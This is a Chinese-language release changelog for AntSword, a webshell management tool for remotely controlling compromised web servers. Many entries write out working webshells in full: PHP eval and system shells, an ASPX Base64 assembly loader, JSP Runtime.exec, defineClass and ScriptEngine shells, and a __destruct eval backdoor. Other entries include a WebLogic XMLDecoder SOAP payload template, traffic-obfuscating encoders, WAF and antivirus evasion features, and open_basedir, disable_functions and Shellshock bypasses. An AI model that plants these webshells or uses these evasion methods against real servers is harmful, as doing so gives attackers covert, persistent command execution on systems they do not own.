有空会补补BUG、添添新功能。
同时也欢迎大家的参与!感谢各位朋友的支持! .TAT.
- 修正 PHP4 类型数据管理模块打不开的问题
- 修复 PHP/PHP4 当前目录不可写时 bypass open_basedir 失败的 Bug
- 新增 PHPRAW 类型, 该类型支持的 WebShell 类似如下代码:
<?php eval(file_get_contents("php://input"));?>
为了方便直连 Behinder3 WebShell, 编码器已内置。
- 新增 ASPXCSharp 类型
该类型支持的 WebShell 类似如下代码:
<%@ Page Language="c#"%>
<%
String Payload = Request.Form["ant"];
if (Payload != null)
{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null);
}
%>
有关该类型的设计说明, 请参考聊聊新类型ASPXCSharp
- 新增 PSWindows 类型,与 CMDLinux 类似
基于命令执行的一句话类型, 仅支持 Windows 环境
该类型支持的 WebShell 类似如下代码:
<?php system($_POST["ant"]);?>
有关 PSWindows 的一些注意事项和原理说明, 请参考新类型 PSWindows 预览
- JSPJS 兼容各种表达式注入
具体请看 spelbase64、el、ognl 这三个内置编码器样例, 详细请参考Java表达式注入的武器化利用
- 优化了编辑 Shell 信息时,URL后缀发生改变后连动修改「连接类型」功能
- 优化插件快捷设置,修正过多快捷设置后对UI影响(Fix #303)
- 修复 JSP/MySQL类型在表名中有特殊字符时执行异常的 Bug (thx @powersploit)
- 新增配置选项「Body 设置为 RAW 模式」
勾选该选项后,只会发送
pwd
键下的内容,不会发送键值 目前生效的类型有: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」
主要场景如下:
// 连接类型 CMDLinux, 勾选 「Body 设置为 RAW 模式」后可连接
<?php system(file_get_contents("php://input"));?>
- 新增 FileHash 计算目标文件 hash 功能
该功能目前正在逐步适配所有类型中 , 目前已经适配 PHP/PHP4/PSWindows/CMDLinux/JSP/JSPJS
- 支持自定义 Content-Type, 默认是
form
superagent 支持的 type 简写如下, 当然也支持填写全称:
html: 'text/html',
json: 'application/json',
xml: 'text/xml',
urlencoded: 'application/x-www-form-urlencoded',
form: 'application/x-www-form-urlencoded',
form-data: 'application/x-www-form-urlencoded'
- Fix #307
- 重新规整
modules/request.js
代码结构 - 调整 superagent
ignoreHTTPS
注入,避免 npm upgrade之后引发问题 - 支持 WebSocket 连接
由于 ASP/ASPX/ASPXCharp/PHP/JSP/CUSTOM 类型每次请求时为多个参数,WebSocket连接之后Server端解析会较为困难,所以当前仅支持「RAW」类型: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」,未来会支持基于 defineClass 的 JSPRAW 类型
以 wsMemShell 项目中的 wscmd
为例:
URL: ws://127.0.0.1:8080/demoendpoint
PWD: 随便填写
连接类型: CMDLinux
Encoder: default (明文, 这个是WebShell端决定的)
Decoder: 根据情况自由选择
注意: 由于 antSword 历史设计原因,WebSocket 连接方式暂时只能每次操作都重新建立一次连接,在传输结束后自动与Server端断开
- 优化了新增Core类型时,编码设置解析逻辑, 现在不需要再改该模块的源代码了
- 优化全局代理设置, 代理在设置完后不需要再重启了
- 更新纯真IP数据库为 2022/04/20 (https://github.com/out0fmemory/qqwry.dat)
如需自己更新请下载后替换
static/libs/qqwry.dat
文件
- 升级 superagent 到 6.1.0 (再高的版本需要高版本Electron支持)
- 升级 superagent-proxy 到 v3.0.0
- 新增 CMDLINUX Shell 类型
基于命令执行的一句话类型, 仅支持 Linux 环境
只要有一个可以执行命令的点, 就可以快乐起来 :)
- PHP:
<?php system($_POST['ant']);?>
- 比较流行的 JSP 命令执行 WebShell
<%
if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();
int a = -1;
byte[] b = new byte[1];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>
注意: Runtime.exec 方法直接传入字符串时不支持多条命令拼接,需要使用数组方式
- 简化新增类型后Shell创建步骤
- 新增 CMDLINUX 类型数据库管理(支持 mysql、sqlite3)
利用 mysql和sqlite3 客户端命令,需要目标上有对应的二进制
-
修复 PHP SQLite 下自动生成的 sql 语句语法错误的 Bug
-
新增其它配置「Body 设置为 RAW 模式」,目前支持
CMDLinux
和PSWindows
对于一些命令执行场景,发包时有时只需要纯 Payload, 而不需要键值。 比如复杂的 XML 结构, 此时就可以通过开启该选项,之后结合「编码器」组装 XML 格式 Payload 发送.
比如(注意 Content-Type 需要同步配置):
'use strict';
module.exports = (pwd, data, ext={}) => {
data[pwd] = `<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void method="newInstance">
<void method="say" id="proc">
<string>${data['_']}</string>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>`;
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
- 编码管理支持 cmdlinux 类型
在使用 cmdlinux 类型时,如果接收参数在 HTTP Header 部分, 请务必使用编码器,因为部分 Payload 有换行符
eg:
WebShell:
<?php system(base64_decode($_SERVER["HTTP_CMD"])); ?>
对应该的编码器如下:
'use strict';
module.exports = (pwd, data, ext={}) => {
let headers = ext.opts.httpConf.headers;
headers[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
- 解码器支持 CMDLinux
base64 解码器:
/**
* cmdlinux::base64解码器
*/
'use strict';
module.exports = {
asoutput: () => {
return `asenc(){ base64 "$@"; };` // 注意此处是 Shell 语法
},
decode_buff: (buff) => {
return Buffer.from(buff.toString(), 'base64');
}
}
- 新增 JSPJS Shell 类型 (Author: @yzddMr6)
基于 js 引擎的 jsp 一句话类型, jdk >= 6 相较于 jsp defineClass 实现,该方式的数据包大小明显小了不少
设计思路请参考: https://xz.aliyun.com/t/9715
值得一提的是,JSPJS 类型可以通过「迂回」的方式去「直接使用」原来的 JSP 类型 WebShell, 留给大家去探索了
请耐心看完下面的 Note
目前该类型默认生成的 WebShell 如下:
<%
try {
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("ant"));
} catch (Exception e) {
out.println("Error:// "+e.toString());
}
%>
在流量层上和 PHP 最基础的WebShell <?php eval($_POST['ant']);?>
一样具有明显特征,不建议使用, 请配合自定义编码器进行:
eg: b64pass 编码器
'use strict';
module.exports = (pwd, data) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
对应 WebShell 如下:
<%!
public byte[] base64Decode(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%
try {
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(new String(base64Decode(request.getParameter("ant"))));
} catch (Exception e) {
out.println("Error:// "+e.toString());
}
%>
请自行对照最基础的 WebShell 样例自由发挥 :)
- PHP/PHP4 类型增加 Bypass open_basedir, 自动尝试
利用的是
chdir('..');
方式, 仅在目标配置了 open_basedir 后才会自动尝试
该功能会影响之前版本 PHP Bypass DisableFunc 插件, 请及时更新插件
- 虚拟终端显示文字样式调亮(thx @Nearg1e 帮我们暗中收集调研了一波需求)
- 终端执行命令路径分割符由固定的
[S][E]
改为随机字符串
别问, 要问就去问 Windows Defender
- 开启代理情况下在数据管理状态栏会有提示
- 修复 multipart 发包方式下, 编码器中 data 内容不为字符串时异常
eg:
'use strict';
module.exports = (pwd, data) => {
data['test'] = 123; // 这里会引发异常
data[pwd] = data['_'];
delete data['_'];
return data;
}
- ExecuteScript 支持 JSPJS 类型
- GenShell 支持 JSPJS 类型 Shell 生成
- Bypass disable_function
- 修正 bypass open_basedir 场景下上传路径问题
.antproxy.php
上传至与 Webshell 同路径下- php -S 利用方式会在界面显示开启的临时端口
- PortScan 支持 JSPJS 类型
- Out-of-Network 支持 JSPJS 类型
- JSP Template 升级至 v1.6
- equals支持数组传参方式,兼容各种容器
- build.py中可以手动指定版本号编译,不再需要下载指定jdk
- 部分变量转为类属性,方便调试
- 修正 insert/update/delete 语句无法执行问题
所需要的 WebShell 可使用 GenShell 插件来生成
- 优化出错提示
- PHP 类型新增 SQLite_PDO 支持
- PHP 类型新增 SQLite3 支持
-
GenShell 升级到 v0.4
-
兼容 JSP Template v1.6
- 修复 PHP 类型数据库连接在PHP7下函数废除引起的问题
- 修改发包默认 UserAgent 为 随机 User-Agent
- 修复 Chunk 发包下 Download 异常问题 #272 (thx @c2xusnpq6)
- 修复 Download 在 chunk 和 multipart 发包模式下 asunescape 不生效的问题
- JSP 类型支持「解码器」
- 「解码器」 asoutput 新增传入参数 ext, 结构如下:
{
opts: opts: 类型为 Object, Shell 配置
}
- 修复使用 default 编码器服务端其它函数输出 payload 时数据分割解析的问题
eg:
<?php phpinfo();eval($_POST['ant']);phpinfo();?>
因为 phpinfo();
会显示发送的 payload, 发送的 payload 中含有数据分割符,导致分割出错
- 移除 random 编码器
能够适配所有编码器的Shell比较少, 这个功能就略显鸡肋, 我们决定移除它
- JSP Template 升级至 v1.5
- 支持解码器(返回包加密)
- 兼容 JDK5
- 修复base64编码问题&改正错别字
- 修改获取当前目录的方式
-
优化窗口关闭逻辑 #245
-
点击最小化时,不再最小化至系统托盘。点击窗口的关闭按钮,最小化至系统托盘。
-
点击托盘菜单中的「退出」程序退出。
-
点击菜单中的「退出程序」程序退出。
-
「编码管理」新增新建「JSP解码器」
- 升级 JSP Template 到 v1.4
- 兼容 JDK6
- 兼容 Weblogic 内存 Webshell
- 优化报错信息
- 解决windows下中文乱码的问题(win选择GBK编码,linux选择UTF-8编码)
- 实战中只能获取到response的情况几乎没有,所以为了减少payload体积不再支持response作为入口参数
- 增加用于测试 payload 的Web项目
- 修复 java -jar xxx.war 启动时当前目录获取失败的问题
- 修复 context menu category self-xss (thx @lixuesv)
- 优化插件加载, 加载异常的插件不会再影响到其它插件加载了
- 更新纯真IP库(2021/02/02)
- 文档地址更换到语雀 https://www.yuque.com/antswordproject/antsword/
- 加入 404Team 404StarLink 2.0 - Galaxy
非常有幸能够加入星链计划, 大家有空可以了解一下星链计划,有许多很酷的安全项目, 你一定不想错过
-
As-Exploits 升级到 v1.1
- 增加对aspx类型的支持
- 增加提权辅助模块(aspx/jsp/php)
- 增加屏幕截图模块(jsp)
- 增加shellcode加载器模块(aspx)
- 仅展示当前类型可用模块,不可用模块不再显示
-
GenShell 升级到 v0.2
新增 asp、aspx、jsp 三种 Shell 类型生成
支持 jsp、php4 类型
-
as_netstat 升级到 v0.2
支持所有类型
- 新增 JSP 类型一句话支持 (试验功能)
使用的 Shell 例如:
<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
String cls=request.getParameter("ant");
if(cls!=null){
new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext);
}
%>
JSP 类型目前采用硬编码字节码方式, 编译版本为 jdk 1.7, 可根据使用场景自行编译。
代码模版参见: https://github.com/AntSwordProject/AntSword-JSP-Template
注意
JSP 类型 Shell 修改文件权限功能,不支持 Windows 系统,在 Linux 系统下不支持 SUID 设置
例如设置为 2644 实际上与 0644 效果相同
- 新增其他参数增加随机前缀
- request 增加垃圾数据填充功能 (thx: @yzddmr6)
支持 form-data 和 multipart 模式
该模块不会改变 payload, 仅会填充垃圾数据, 部分基于 nginx 二次开发的 WAF 会因为过多参数导致 WAF 获取不到后面的数据,从而达到 Bypass 目的。
测试 paper 参见: yzddmr6的 Blog —— 蚁剑改造计划之增加垃圾数据
- Fix ViewSite security issue #256
- 插件支持的脚本类型支持通配符
*
如果插件的 package.json 文件中的 scripts 设置为
*
, 则可被所有类型的插件调用。
- Fix ViewSite security issue thx @imagemlt
- 修复全局过滤 xss 时 text 和 buff 过滤规则不一致问题
- core.command.exec 增加第 3个参数 env
格式为: key1|||askey|||val1|||asline|||key2|||askey|||val2|||asline|||
对应的环境变量为:
key1=val1
key2=val2
- 新增「自定义数据分割符」配置
你可以将任何你喜欢的字符组合定义成数据的「起始符」或「结束符」
- 修复「创建副本」时不会同步 decoder 的问题
- 编辑文件新增「刷新」按钮
如果服务器上的文件内容发生改变, 再也不需要关掉重打开了
-
新建文件默认内容更改为
#Halo AntSword!
-
编辑文件文件路径改为输入框, 现在可以手动输入文件路径后, 按 Enter 键快速打开文件了
- 新增
asenv
本地指令, 用于手动设置当前终端下的环境变量
Linux:
Windows:
注意: asp 下设置之后, 当前机器上的IIS子进程都会受影响, 过一段时间子进程退出后正常
- 新增
aswinmode
本地指令, 在自动识别操作系统错误时, 可使用该指令手动切换命令行运行的模式 (#229 thx @nullnull1604-outlook)
- ACE 编辑器增加
ace/mode/antswordjwt
语法模式, 支持 JWT Token 语法高亮
- fix #222 感谢 @9tail123
- 重要: 增加全局 html 转义, 在每次响应后强制进行 html 转义, 避免过滤时漏掉的问题
此更新会影响大部分插件的使用, 请及时更新插件或重装插件
如果在使用当中发现二次转义的情况, 请报告 issue
- 新增「报告漏洞」链接, 可在「关于程序」页中看到, 也可点下面的链接直达
https://forms.gle/HrUMxedsyREeXw4R9
如在后续发现漏洞, 请以该方式进行提交, 待修复后再公开
- 修复数据截取 Bug
- 修复返回包
Content-Type
为非文本时连接异常问题 (#213)
- 数据分割字符随机化增强(随机内容, 随机长度 5~12 位), 避免客户端发包产生固定的
Content-Length
- 新增
antSword["RANDOMWORDS"]
全局变量, 存放英文单词, 如需要定制字典请修改source/base/word.js
- 新增
antSword["utils"]
全局变量, 包函RandomChoice
,RandomLowercase
函数 - 发包随机变量名去除
_0x
通用变量前缀 - 核心模版发包键名支持随机英文单词
- 新增「使用随机英文单词变量」配置项, 在发包时非密码变量名会使用随机产生的英文单词 (thx @Ch1ngg)
未勾选此配置项时, 发包变量名如下:
勾选此项设置后, 发包变量名如下:
- 新增常用插件功能面板, 可自定义配置常用插件到此面板, 快速调用
jsp_custom_script_for_mysql
提供AES
编码解码示例jsp_custom_script_for_mysql
增加 Version 显示- windows 下单击鼠标左键 Tray Icon 显示/隐藏 主窗口 改为 「双击」
- 默认设置新增 「使用随机英文单词变量」配置项
- 移除 shells 目录, 示例脚本已转至 AwesomeScript 仓库下
- 新增插件「SacnWebShell」
通过正则匹配,查找后门 webshell
- 修复 PHP4 命令执行语法错误 #199 (thx @ier005)
- PHP 执行命令模版代码默认加入常见环境变量 (issue from: https://www.t00ls.net/viewthread.php?tid=52205)
- 「默认设置」新增「虚拟终端」配置块, 可设置默认字体缩放比例, 最小0.5倍, 最大2倍 (通过快捷键最大可到5倍)
拖动 slider bar 之后, 下方可实时预览效果, 点击保存后即可生效(无需重启)
- 新增
options['tsize']
可覆盖全局缩放设置 - 支持全局缩放配置 #203
- 新增插件 check_rwx-suid Author: @phantom11235
在目标服务器上查询可读可写可执行目录以及可用于suid提权的文件(支持asp,aspx,php)
-
新增插件 inject_und3ad Author: @phantom11235
-
「as_webshell_venom」更新到
v3.2
-
「绕过 Disable_functions」更新到
v0.5
- 修复 Linux Gnome 桌面环境下 minimize 时窗口消失问题 #204
-
增加 PHP 执行命令的函数(
proc_open
,COM('Wscript.shell')
,shellshock
) #194COM
组件执行命令, 该模块为 Windows 专属, 需要目标在 php.ini 中打开 COM 选项:com.allow_dcom = true
, 注意, PHP 5.4.5 后,com/dotnet模块已经成了单独的扩展, 所以还需要在 php.ini 中配置extension=php_com_dotnet.dll
, 如果 PHP < 5.4.5 则不需要。shellshock
利用 bash 破壳(CVE-2014-6271)执行命令, 需要目标的/bin/sh
链接为/bin/bash
且存在破壳漏洞
-
新增全局变量 antSword['module'] 用于存放所有核心模块, 方便在插件中引入
- 修复标签页编辑文件时,路径过长导致右侧按钮不显示的 bug (#192)
- 新建文件时, 默认内容前面加了
#
号(防止在shell当前目录下, 新建.htaccess
语法错误导致整个目录无法解析)
- 新增
options['exec']
用于替换当前 Terminal 中生成 payload 函数
-
绕过 disable_functions 更新到 0.4
- 新增「FastCGI/PHP-FPM」模式
适用于PHP-FPM/FCGI 监听在 unix socket 或者 tcp socket 上时使用。常见的比如: nginx + fpm。IIS+FPM 使用的是「管道」通信,不适用。
-
新增「Apache_Mod_CGI」模式
利用
.htaccess
添加一个新的 cgi 后缀, 完成命令执行 -
优化了
.antproxy.php
�性能问题 -
修复了
.antproxy.php
不会代理 querystring 的问题 -
以上模式可在 「AntSword-Labs」仓库中找到相关 Docker 环境, 可自行在本机搭建环境测试
- 移除解码器
decode_str
方法, 统一调用decode_buff
方法
decode_str
其实相当于是decode_buff
执行后调用了toString
- 解码器解码后, 增加猜解字符编码流程
- 修复 PHP mysqli 指定其它端口时失败的问题
- CUSTOM 类型新增
hex
,base64
,hex_base64
三种类型解码器 (需要对应 Shell 实现该功能, 参考:jsp_custom_script_for_mysql.jsp
)
hex_base64 是指 shell 返回数据时, 先将明文数据使用 base64 编码, 再将结果 hex 编码
- ASPX 新增
url_unicode
编码器 (thx @yzddmr6 https://github.com/AntSwordProject/AwesomeEncoder/issues/2)
将 pwd payload 全部转换成
%uxxxx
这种形式, eg:Re
=>%u0052%u0065
- 「文件下载」支持多文件下载, 不支持选择「文件夹」 #140
-
修复
jsp_custom_script_for_mysql.jsp
使用base64
编码器连接数据库时characterEncoding
二次解码导致的无法识别的问题 #171 -
修复
ASP
、Custom
数据库管理导出问题 #172 -
jsp_custom_script_for_mysql.jsp
,jsp_custom_script_for_oracle.jsp
,jspx_custom_script_for_mysql.jspx
新增解码器支持 -
现在可以使用 HomeBrew 来安装、更新
AntSword-Loader
和AntSword
了。参见 homebrew-antsword具体步骤如下:
- 添加 antsword 源
$ brew tap antswordproject/antsword
- 安装 antsword-loader
$ brew cask install antsword-loader
- 安装 antsword
$ brew install antsword
安装完毕后,运行 AntSword.app, 选择源码目录为
/usr/local/opt/antsword
如果使用 HomeBrew 来管理antsword-loader 和 antsword 的版本,请一直使用该方式进行管理
- 新增 「免杀Shell生成」插件 (Author: @yzddmr6)
利用随机异或免杀D盾蚁剑版
- 修复 multipart 发包方式 download 发包为空的问题 (
asunescape
功能引起), 更新后需要关闭程序重启后生效 - 编码器
ext
参数新增元素opts
, 值为当前 shell 的配置
有了这个,你就可以根据 shell 的配置信息来动态的进行加密了, 比如用 Cookie 里面的 SessionID 来作为秘钥
与之相关的一个 Demo, PHP AES-256-CFB (zeroPadding) 编码器 https://github.com/AntSwordProject/AwesomeEncoder/blob/master/php/encoder/aes_256_cfb_zero_padding.js
另一个 Demo, PHP AES-128-ECB (zeroPadding) 编码器 https://github.com/AntSwordProject/AwesomeEncoder/blob/master/php/encoder/aes_128_ecb_zero_padding.js
- 解码器新增
ext
参数, 用于获取 shell 配置和rsa私钥
有了这个,解码器可以进行一些更为灵活的用法了. 比如用 Cookie 中的 SessionID 来作为秘钥, 对返回的内容进行解密
与之相关的一个 Demo, PHP AES-256-CFB (Zero Padding) 解码器 https://github.com/AntSwordProject/AwesomeEncoder/blob/master/php/decoder/aes_256_cfb_zero_padding.js
另一个 Demo, PHP AES-128-ECB (pkcs7Padding) 解码器 https://github.com/AntSwordProject/AwesomeEncoder/blob/master/php/decoder/aes_128_ecb_pkcs7_padding.js
PS:
-
可以用
AES-256-CFB
编码器, 对请求包进行加密, 返回包加密使用AES-128-ECB
解码器 -
也可以用
AES-128-ECB
编码器, 对请求包进行加密, 返回包加密使用AES-256-CFB
解码器
当然, 你可以根据自己的喜好, 用自己喜欢的 AES 加密方式, 这些怎么组合, 都看你。你要不喜欢用 AES, 你想用什么就用什么。
- 支持加载用户自定义解码器, 同编码器一样, 现在可以加载用户自己自定义的解码器了, 以PHP为例, 加载位置为
antData/encoders/php/decoder/
- 「添加数据」时自动载入「默认设置」中「数据管理」全局配置内容
- 「默认设置」新增「数据管理」设置, 可配置「是否忽略HTTPS证书」、「默认请求超时时长」、「默认 HTTP Header」和「默认 HTTP Body」
该配置项仅在「添加数据」时生效,不影响已有配置的 Shell。在添加数据界面修改相应的值, 仅对当前 Shell 配置产生影响,不会影响到默认配置
- 新增第三方库 marked 0.6.2 用于 markdown 渲染
- 更新提示窗口新增 ReleaseNote 显示(缩放显示,图片看不清可直接前往 github 查看详细更新日志), 新增 「更新日志」按钮(点击后直接打开 github release 页)
- 「编码管理」新增「获取更多」按钮, 打开浏览器访问 AwesomeEncoder(自定义编码器分享), 如果你有比较好的 Encoder, 欢迎向这个仓库提PR
- 「编码管理」新增解码器管理, 可创建自定义解码器
- 新增第三方库
crypto-js
3.1.9-1 , 可以更方便的进行各种加解密处理了
nodejs 自带
crypto
库, 也可使用crypto-js
这个库来进行加密处理, 这个第三方库使用起来相对更简单一些, 但同时限制也会多一些, 自行取舍
- 新增「解码器」(目前仅支持 PHP)
将返回数据包进行编码/加密
-
新增 PHP
base64
、rot13
解码器 -
修复使用
__destruct
类型 shell 时 解码器不生效的 Bug (thx @scanf)
取消
register_shutdown_function
改为显式调用asoutput
测试 Shell 如下:
<?php
class Test{
function __destruct(){
@eval($_POST['ant']);
}
}
$test = new Test;
?>
- 修复搜索数据时正则表达式输入错误导致crash 问题 #157
- 添加SQL语句书签功能, 将常用的 SQL 语句保存成书签
- 修复数据库查询结果字段名有逗号时异常
- 「默认设置」数据管理项中, 增加「全局书签」设置, 设置一些自己常用的 SQL 语句
从该版本开始, 将逐渐不兼容老版本加载器, 建议马上升级 AntSword Loader 到 4.0.3 版本: 下载地址
- 升级
Electron
到4.0.3
(Chromium69.0.3497.106
and Node10.11.0
)
影响较大的是编码器中关于 Buffer 相关的操作, 原来的
new Buffer()
方式已被弃用, 请更改为Buffer.from()
- 升级
Semanticui
到2.2.7
- 升级
ACE Editor
到1.4.3
- 调整
ant-views://
、ant-src://
、ant-static://
协议, 注册为标准scheme
默认情况下 web storage apis (localStorage, sessionStorage, webSQL, indexedDB, cookies) 被禁止访问非标准schemes
- 添加
node-rsa
依赖包
- 主窗口中增加 CSP 策略
- 新增「复制 Shell URL」功能
- 编码器新增扩展参数
- 编码器添加 RSA 模式,目前仅支持 PHP (@virink)
- 新增 asp
insert_percent
编码器 #152 - 编码器中支持
asunescape()
标记
asunescape 括号中的内容在HTTP请求时,不会进行urlEncode
eg:
data["key1"] = "++asunescape(@@@)++"; => "key1=%3B%3B@@@%3B%3B"
- 新增 Loader 更新检查功能
- 插件市场新增「更新插件」功能
- 新增 「绕过disable_functions」插件 (Author: @Medicean & @howmp)
突破 disable_functions 执行系统命令,绕过 Open_basedir 等安全机制
- 新增 「GodOfHacker」插件 (Author: @virink)
黑客神器,谁用谁知道!
- 主窗口增加 CSP 策略
- Fix self-xss in database config #151 (thx @miaochiahao)
- Fix #153 (thx @ViCrack)
- 复制 Shell URL #144
- Fix #150 文件路径输入框未过滤问题
- 修复目录树双击时引起console下报错问题
- 修正 aslistcmd 二次转义问题
- Fix toastr 输出时未过滤导致的 xss 漏洞, 由于在 webview 中开启了 nodejs 功能, 可借此引起 RCE #147 (thx @ev0A)
为了防止插件中 toastr 出现类似问题, 修改了 toastr 可以输出 html 的特点,以后均不支持输出 html
- 修正错别字 #145
- 执行命令新增
antsystem
函数, 具体见: https://github.com/AntSwordProject/ant_php_extension - Fix 编码器保存后不生效的问题 #135 (thx @K4ngx)
- Fix core download 参数遗漏问题 #142 (thx @RoyTse)
- Fix #141 (thx @RoyTse)
- 新增自定义命令
aslistcmd
, 列出可使用的命令解释器 (#123)
- 新增自定义命令
aspowershell [on|off]
, 开启/关闭 PowerShell 模式
如果
ascmd
命令指定的PowerShell解释器文件名中包函powershell
关键字, 会自动启用 PowerShell 模式, 如下图:
如果指定的 PowerShell 解释器文件名中不包含
powershell
关键字, 则需要手动使用该命令,启用 PowerShell 模式。如果关闭了 PowerShell 模式,则会执行出错,如下图:
- 修复默认设置保存时导致 bookmarks 清空的问题
- PHP Custom Shell 新增 listcmd 功能
- PHP Custom Shell 新增数据库支持函数检查接口
- 新增「繁體中文(香港)」和「繁體中文(台灣)」两种语言
- 分块传输自动根据黑名单字符(eg: eval, assert, execute, response 等)进行随机切割(thx @phith0n)
- 新增「测试连接」功能
- 新增「检测」功能, 检测支持的数据库函数(目前仅 PHP,ASP,ASPX 有效, ASP(X)仅检测使用到的组件是否存在)
- 新增 php
sqlsrv
连接方式, php5.3之后 mssql 默认不存在,可使用该类型连接 sqlserver >= 2008
如果直连shell本地sqlserver, host 部分填 localhost 或者 (local)
如果连接外部,使用 ip,port
- 新增 php
oracle_oci8
连接方式, 用于连接 oracle 8i,9i,10g,11g,12c
host 部分填写: localhost/orcl 或者 localhost:1521/orcl
参考: http://php.net/manual/zh/function.oci-connect.php connection_string 部分
- 新增 PHP PostgreSQL 类型数据库操作
- 新增 PHP PostgreSQL_PDO 类型数据库操作 #133 (thx @B0y1n4o4)
- 优化 asp(x) Oracle 类型数据库操作
- 优化 asp(x) SQLServer 类型数据库操作
- 优化SQLServer类型数据库默认查询语句
- php数据管理解析数据时自动猜解编码
- 新增「在此处打开终端」功能, 打开终端后快速跳到当前目录下
- 新增「全局书签」功能, 可在「系统设置-默认设置」单击鼠标右键添加
- shell 配置页面提示不推荐使用 default、random 编码器, 明文传输 Payload 容易受到转义等影响,未来版本将会考虑移除
- 新增「创建副本」菜单, 复制所选择的 Shell 并在相同分类下创建一个副本
- 新增「搜索数据」功能, 搜索本地数据,范围为当前分类下的 Shell
可选搜索字段: URL(URL地址), Password(密码), Remark(备注), All(在以上几个字段中出现)
如果想搜索其它类型的字段, 可直接在类型框中输入想要搜索的字段
例如搜索 IP地址, 可在搜索字段选择框中输入: ip
具体字段类型名请直接查阅 antData/db.ant
唤醒快捷键 Ctrl+Shift+F 或者 Command + Shift + F (OSX)
退出:
-
点击搜索框之外的任何区域
-
按下
ESC
键 -
再次按下唤醒快捷键
在使用快捷键时,如果当前活动 tab 不是数据管理,则会自动跳回数据管理
- 新增 「JSP Custom Shell For Oracle」
- 新增 Decodes 自动猜解编码,在中文少量的情况下,成功率会降低
- 系统托盘新增「重启应用」菜单
- 虚拟终端打开后提示本地命令菜单 ashelp
- 修复 asp(x) sqlserver 获取列名,执行自定义SQL语句的异常
- 修复 php mssql 获取列名,执行自定义SQL语句异常
- 新增 chunked 流式传输
- 新增「测试连接」功能
- 其它设置增加「开启分块传输」开关,设置「最小分块」和「最大分块」。每次分块大小为[n, m]区间。
- 编辑文件标签打开时显示正在编辑的文件的「IP地址」和「绝对路径」 (#129)
- 编辑文件「保存」按钮移动到右侧
- 支持使用代理访问插件市场,当配置了代理之后,默认开启
- 新增代理开关, 在配置了代理之后,可通过该开关控制是否使用代理浏览目标网站
- 调整 aproxy uri 初始化 URL 格式
- 优化返回包解码流程,增加自动猜解编码功能,该功能在中文较少时容易出错,出错了使用用户设置的字符编码
- 编辑文件窗口将「编码」按钮替换为「用此编码打开」, 若打开文件之后乱码,不妨试试切换编码
- 新增「复制文件名」和「复制文件路径」功能,目标复制文件名或路径到剪贴板
- 编辑文件菜单可选择「标签打开」和「窗口打开」
- 新增两条本地命令
- ashelp 列出所有本地命令
- ascmd 指定某个文件执行后续的命令. eg: ascmd /bin/bash 这样后续输入的命令将会使用 /bin/bash 来执行。注意仅对当前有效, 如果需要持久生效, 需要在shell配置中的「其它配置」设置。
- 新增「默认设置」, 可在此配置文件管理默认编辑文件打开方式
- 新增 Python2 Custom CGI shell 示例
- 修复Linux中编码设置中找到不到路径的问题 (#117) thx @H1d3r
- 修复 Windows shell 盘符小写引起文件管理目录树错乱的 Bug
- 修复 ASP 文件创建失败和删除失败时提示
- 新增「虚拟命令行」功能
- 添加 Shell 时 URL 默认前缀
http://
- 添加 Shell 时根据文件后缀选择 Shell 类型并赋予默认编码(asp 默认 GBK, 其它默认 UTF8) #109
- 其它配置新增
Multipart 发包
功能
- 数据存储新增插件配置存储管理功能 (
shell-addPluginDataConf
,shell-editPluginDataConf
,shell-delPluginDataConf
,shell-getPluginDataConf
) - 后台发包方式支持
Multipart
, 可在「编辑Shell配置」-「其它配置」里选择是否开启此功能,默认关闭。(thx @phith0n)
- 修复数据库编码无法保存的 Bug (#110 thx @Twi1ight)
- 修复 PHP Mysql(i) 数据管理模版代码中编码设置部分的错误 (#110 thx @Twi1ight)
- 自动检查更新每24小时触发一次(GitHub 访问频率限制)
- 插件市场默认窗口大小调整
- Loading 界面增加了圣诞节彩蛋, 偶尔跟风过个节 🎄 Merry Christmas 🎄
- 可在 Shell 编辑数据窗口下的
其它设置
栏目下自定义上传文件分片大小 (默认为 500KB, 太大会导致 HTTP 413 错误)
- PHP Shell 下可直接修改文件权限, 显示为4位 8进制数, 如
0644
- 优化了查询结果显示,默认所有列宽为 100
- 可将查询结果导出为 CSV 文件
- PHP Shell MySQL 数据库可视化增强,支持
新建数据库
,删除数据库
,新建表
,修改表名
,删除表
,编辑列名
,删除列
- 虚拟终端界面下使用
Ctrl
+=
(和+
在一起的那个键) 可放大,Ctrl
+-
可缩小
- 新增了地址栏, 面对需要先进入登录页面的 Shell, 可先在此处访问 login 页面,然后保存 Cookie 到 Shell 配置。 默认为 Shell 的 URL
